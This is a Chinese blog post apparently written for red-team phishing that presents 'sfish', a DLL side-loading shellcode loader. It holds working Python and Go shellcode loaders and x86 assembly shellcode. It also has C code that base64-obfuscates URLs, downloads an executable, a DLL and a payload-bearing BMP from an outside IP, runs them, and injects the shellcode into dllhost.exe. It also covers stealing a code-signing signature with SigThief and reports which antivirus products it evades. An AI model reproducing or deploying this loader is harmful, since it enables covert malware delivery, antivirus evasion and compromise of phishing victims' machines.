sfish 基于白加黑钓鱼加载器利用工具

前言:之前护网的时候有条件钓鱼的情况下也没有想着去尝试,一方面是免杀的工作没准备好,一方面是如何钓好鱼,发现这些都需要提前花大量的时间先去准备好,所以这篇写了shellcode白加黑加载器工具方便钓鱼之后一系列的权限维持和上线的操作,追求更好的免杀效果可以参考重写beacon相关的文章

参考文章:https://www.cnblogs.com/zpchcbd/p/15947246.html 如何编写shellcode

2022.11.15:花了几天写了这个,但是发现对于钓鱼的话效果其实还是不行,所以这篇就单纯记录下了,白加黑的方式还是更适合做权限维持,这篇笔记仅供大家参考

思维导图

启动

为了更好的起到免杀和适配环境原因,所以启动的四步操作均通过汇编来进行实现,之后各个语言只需要通过shellcode加载器进行加载这段shellcode即可

python shellcode loader

import ctypes
import sys

shellcode = bytes.fromhex(sys.argv[1].strip())

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

golang shellcode loader

func loader2(sc []byte)   {
//	获取当前进程的句柄
	pHandle, _ := syscall.GetCurrentProcess()
	Protect := windows.PAGE_EXECUTE_READWRITE
// 为shellcode分配足够大小的内存
	addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
// 将shellcode写入内存当中
	WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
//修改进程的保护属性为可读写可执行
	VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))
//创建线程执行shellcode
	x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
    for{

    }
}

信域

为了更好的规避杀毒的流量分析,自己把相关的后续操作全部都放在相对域名信任度高的地方,所以这里存储的东西我都放在了公开存储服务器上

上线

  • 为了让目标上线,自己会先把恶意文件下载到目标机器上进行执行,而下载这种行为相对杀毒来说是比较敏感的,所以我尽量采取杀毒监控不严格的API,所以我这里通过系统dll中的下载API来进行

  • 为了更好的在目标上线之后进行恶意操作,所以我把在本地上线的时候是CreateProcess通过白加黑的方式进行的上线

签名

参考地址:https://github.com/secretsquirrel/SigThief

python sigthief.py -i dbgview.exe -t loader.exe -o loader_a.exe

维持(未实现)

  • 为了让权限在PC机器上更好的维持,同样权限维持的操作也是在白加黑的方式下进行,我这里采取的是通过COM接口编写的计划任务进行权限维持

  • 权限维持的时候,还需要考虑当前的权限是做好高权限的权限维持还是低权限的权限维持

代码实现

汇编版本

asm_loader.asm

.386
.model flat,stdcall
.stack 4096

.code
assume fs:nothing
main proc
	xor ecx, ecx
	mov eax, fs:[ecx + 30h]
	nop
	mov eax, [eax + 0ch]
	nop
	mov esi, [eax + 14h]
	nop
	lodsd
	nop
	xchg eax, esi
	nop
	lodsd
	nop
	mov ebx, [eax + 10h]
	nop
	mov edx, [ebx + 3ch]
	add edx, ebx
	nop
	mov edx, [edx + 78h]
	nop
	add edx, ebx
	nop
	mov esi, [edx + 20h]
	nop
	add esi, ebx
	nop
	xor ecx, ecx

get_function:
	inc ecx                              				; Increment the ordinal
	lodsd                                				; Get name offset
	add eax, ebx                         				; Get function name
	cmp dword ptr[eax], 50746547h       				; GetP
	jnz get_function									;
	cmp dword ptr[eax + 4h], 41636f72h 					; rocA
	jnz get_function									;
	cmp dword ptr[eax + 8h], 65726464h 					; ddre
	jnz get_function									;
	mov esi, [edx + 24h]                				; ESI = Offset ordinals
	add esi, ebx                         				; ESI = Ordinals table
	mov cx, [esi + ecx * 2]              				; Number of function
	dec ecx												;
	mov esi, [edx + 1ch]                				; Offset address table
	add esi, ebx                         				; ESI = Address table
	mov edx, [esi + ecx * 4]             				; EDX = Pointer(offset)
	add edx, ebx                         				; EDX = GetProcAddress

	xor ecx, ecx					; ECX = 0
	push ebx						; Kernel32 base address
	push edx						; GetProcAddress
	push ecx						; 0
	push 41797261h					; aryA
	nop
	push 7262694ch					; Libr
	nop
	push 64616f4ch					; Load
	push esp						; "LoadLibrary"
	push ebx						; Kernel32 base address
	call edx						; GetProcAddress(LL)

	add esp, 0ch					; pop "LoadLibrary"
	pop ecx							; ECX = 0

	; 获取inseng.dll模块
	push eax		; EAX = LoadLibrary
	push ecx
	push 6c6ch		; ll
	nop
	push 642e676eh	; ng.d
	nop
	push 65736e69h	; inse
	push esp		; "inseng.dll"
	call eax		; LoadLibrary("inseng.dll")

	add esp, 0ch	; Clean stack
	pop ecx			;

	mov edx, [esp + 4h]	; EDX = GetProcAddress
	push edx

	; GetProcAddress(DownloadFile) 导出函数
	xor ecx, ecx			; ECX = 0
	push ecx
	push 656C6946h			; eilF
	nop
	push 64616F6Ch			; daol
	nop
	push 6E776F44h			; nwoD
	nop
	push esp; "DownloadFile"
	push eax; kernel32.dll address
	call edx; GetProcAddress(DownloadFile)

	add esp, 0ch; Cleanup stack
	pop ecx;
	push eax; save DownloadFile function

	; DownloadFile("http://xxxx/test.exe", "C:\\ProgramData\\test.exe", 1);
	
	xor ecx,ecx
	xor ebx,ebx
	; http://xxxx/test.exe
	push 65h	    ; e
	nop
	push 78652E66h ; xe.f
	nop
	push 64507573h ; dPus
	nop
	push 694A2F33h ; iJ/3
	nop
	push 36312E37h ; 61.7
	nop
	push 30312E33h ; 01.3
	nop
	push 34312E33h ; 41.3
	nop
	push 342F2F3Ah ; 4//:
	nop
	push 70747468h ; ptth

	; C:\ProgramData\test.exe
	push 6578h
	nop
	push 652e6664h
	nop
	push 50757369h
	nop
	push 4A5C6174h
	nop
	push 61646D61h
	nop
	push 72676F72h
	nop
	push 705c3a43h
	push 1
	lea ecx, [esp + 4h]
	push ecx
	lea ecx, [esp + 24h]
	push ecx
	call eax
	
	add esp, 38h		; Cleanup stack
	mov eax, [esp+4h]	;

	; DownloadFile("http://xxx/sqlite3.dll", "C:\\ProgramData\\sqlite3.dll", 1);
	xor ecx,ecx
	xor ebx,ebx

	; http://xxx/sqlite3.dll
	push 6Ch	   ; l
	nop
	push 6C642E33h ; ld.3
	nop
	push 6574696Ch ; etil
	nop
	push 71732F33h ; qs/3
	nop
	push 36312E37h ; 61.7
	nop
	push 30312E33h ; 01.3
	nop
	push 34312E33h ; 41.3
	nop
	push 342F2F3Ah ; 4//:
	nop
	push 70747468h ; ptth

	; C:\ProgramData\sqlite3.dll
	push 6C6Ch	   ; ll
	nop
	push 642E3365h ; d.3e
	nop
	push 74696C71h ; tilq
	nop
	push 735C6174h ; s/at
	nop
	push 61646D61h ; adma
	nop
	push 72676F72h ; rgor
	nop
	push 705c3a43h ; P/:c
	push 1
	lea ecx, [esp + 4h]
	push ecx
	lea ecx, [esp + 24h]
	push ecx
	mov eax, [esp + 4ch]
	call eax
	
	add esp, 38h; Cleanup stack
	mov eax, [esp+4h];
	xor ecx, ecx

	; DownloadFile("http://xxx/g.bmp", "C:\\ProgramData\\g.bmp", 1);
	xor ecx,ecx
	xor ebx,ebx

	; http://xxx/g.bmp
	push 706d62h ; pmb
	nop
	push 2e672F33h ; .g/3
	nop
	push 36312E37h ; 61.7
	nop
	push 30312E33h ; 01.3
	nop
	push 34312E33h ; 41.3
	nop
	push 342F2F3Ah ; 4//:
	nop
	push 70747468h ; ptth

	; C:\ProgramData\gg.bmp
	push 70h
	nop
	push 6d622e67h
	nop
	push 675C6174h
	nop
	push 61646D61h
	nop
	push 72676F72h
	nop
	push 705c3a43h
	push 1
	lea ecx, [esp + 4h]
	push ecx
	lea ecx, [esp + 20h]
	push ecx
	mov eax, [esp + 40h]
	call eax
	
	add esp, 34h; Cleanup stack
	xor ecx, ecx

	;get WinExec to exec pdf.exe from kernel32.dll

	mov eax, [esp]					; EAX = LoadLibrary
	push ecx
	push 6c6c642eh					; .dll
	nop
	push 32336c65h					; el32
	nop
	push 6e72656bh					; kern
	push esp						; "kernel32.dll"
	call eax						; LoadLibrary("kernel32.dll")

	add esp, 0ch					; Clean stack
	pop ecx							;
			 
	mov edx, [esp + 4h]				; EDX = GetProcAddress
	push edx						;
	xor ecx, ecx					; ECX = 0
	push ecx						;
			
	mov ecx, 61636578h
	push ecx						; xeca
	sub dword ptr[esp + 3h], 61h	; Remove "a"
	nop
	push 456e6957h					;
	push esp						; "WinExec"
	push eax						; kernel32.dll address
	call edx						; GetProcAddress(WinExec)
			
	add esp, 8h						; Cleanup stack
	pop ecx;
			
	xor ecx, ecx					; ECX = 0
	xor ebx, ebx
	push ecx
	push 6578h
	nop
	push 652e6664h
	nop
	push 50757369h
	nop
	push 4A5C6174h
	nop
	push 61646D61h
	nop
	push 72676F72h
	nop
	push 705c3a43h
	mov ebx, esp
	push 0ah
	push ebx
	
	call eax						; calc
	add esp, 1ch					; Clean stack
	pop ecx;

	xor ecx,ecx
	xor ebx,ebx
	mov eax, dword ptr[esp+0ch]
	mov edx, dword ptr[esp]
	mov ecx, 61737365h				; essa
	push ecx
	sub dword ptr[esp + 3h], 61h	; Remove "a"
	push 636f7250h					; Proc
	nop
	push 74697845h					; Exit
	push esp						; ExitProcess
	push eax						; kernel32.dll base address
	call edx						; GetProc(ExitProcess)
	xor ecx, ecx					; ECX = 0
	push ecx						; Return code = 0
	call eax						; ExitProcess

main endp
end main

C语言版本

#include<iostream>
#include<windows.h>	
#include "base64.h"

using namespace std;

typedef UINT(CALLBACK *t_DownloadFile)(LPCSTR, LPCSTR, int);

int WinMain(

	HINSTANCE hInstance,//应用程序的实例句柄

	HINSTANCE hPrevInstance,//上一个应用程序的句柄。在win32环境下,参数一般为null,不起作用

	LPSTR IpCmdline,//char*argv[]命令行的参数

	int nShowCmd//显示命令最大化最小化
	){
	// C:\\Windows\\System32\\inseng.dll -> QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs
	HMODULE dll = LoadLibrary(base64_decode(string("QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs")).c_str());

	// RG93bmxvYWRGaWxl -> DownloadFile
	t_DownloadFile DownloadFile = (t_DownloadFile)GetProcAddress(dll, base64_decode(string("RG93bmxvYWRGaWxl")).c_str());

	// 1
	DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL0ppc3VQZGYuZXhl")).c_str(),
		base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 1);
	
	// 2
	DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL3NxbGl0ZTMuZGxs")).c_str(),
		base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxzcWxpdGUzLmRsbA==")).c_str(), 1);
	
	// 3
	DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL2cuYm1w")).c_str(),
		base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxnZy5ibXA=")).c_str(), 1);

	// 4
	CloseHandle(dll);

	PROCESS_INFORMATION ProcessInformation;
	STARTUPINFOA StartupInfo;
	memset(&StartupInfo, 0, sizeof(StartupInfo));
	StartupInfo.cb = 68;

	// C:\\ProgramData\\test.exe -> QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==
	CreateProcess(0, (LPSTR)base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInformation);
	
	//WinExec("C:\\ProgramData\\test.exe", CREATE_NO_WINDOW);
	TerminateProcess(GetCurrentProcess(), 0);
	return 0;
}

DLL部分

		FILE* fp;									// 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
		size_t size;								// 定义文件字节数变量size
		unsigned char* buffer;						// 定义缓存指针变量
		fp = fopen("C:\\ProgramData\\gg.bmp", "rb");
													// fseek()负号前移,正号后移
		fseek(fp, 0, SEEK_END);						// 文件指针指向文件末尾
													// ftell()返回给定流 stream 的当前文件位置
		size = ftell(fp);							// size值为文件大小
		fseek(fp, 0, SEEK_SET);						// 文件指针指向文件开头
		buffer = (unsigned char*)malloc(size);		// 动态申请图片大小的内存空间(数组指针)
		fread(buffer, size, 1, fp);					// 从fp读取和显示1个size大小的数据
		CloseHandle(fp);

		char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);
		memcpy((void*)v7A, buffer, size);

		struct _PROCESS_INFORMATION ProcessInformation;
		struct _STARTUPINFOA StartupInfo;
		void* lp_addr;
		CONTEXT Context;
		DWORD DwWrite = 0;
		memset(&StartupInfo, 0, sizeof(StartupInfo));
		StartupInfo.cb = 68;
		BOOL result = CreateProcessA(0, (LPSTR)"dllhost.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
		if (result)
		{
			Context.ContextFlags = 65539;
			GetThreadContext(ProcessInformation.hThread, &Context);
			lp_addr = VirtualAllocEx(ProcessInformation.hProcess, 0, size, MEM_COMMIT, PAGE_READWRITE);
			WriteProcessMemory(ProcessInformation.hProcess, lp_addr, v7A, size, &DwWrite);
			Context.Eip = (DWORD)v24;
			SetThreadContext(ProcessInformation.hThread, &Context);
			ResumeThread(ProcessInformation.hThread);
			CloseHandle(ProcessInformation.hThread);
			result = CloseHandle(ProcessInformation.hProcess);
		}
		TerminateProcess(GetCurrentProcess(), 0);

杀软测试

火绒个人版

无二开msf生成的shellcode未拦截上线

360安全卫士(非核晶状态)

无二开msf生成的shellcode未拦截上线

defender

无二开msf生成的shellcode未拦截上线

麦咖啡

无二开msf生成的shellcode被拦截

posted @ 2022-08-07 10:40  zpchcbd  阅读(352)  评论(0编辑  收藏  举报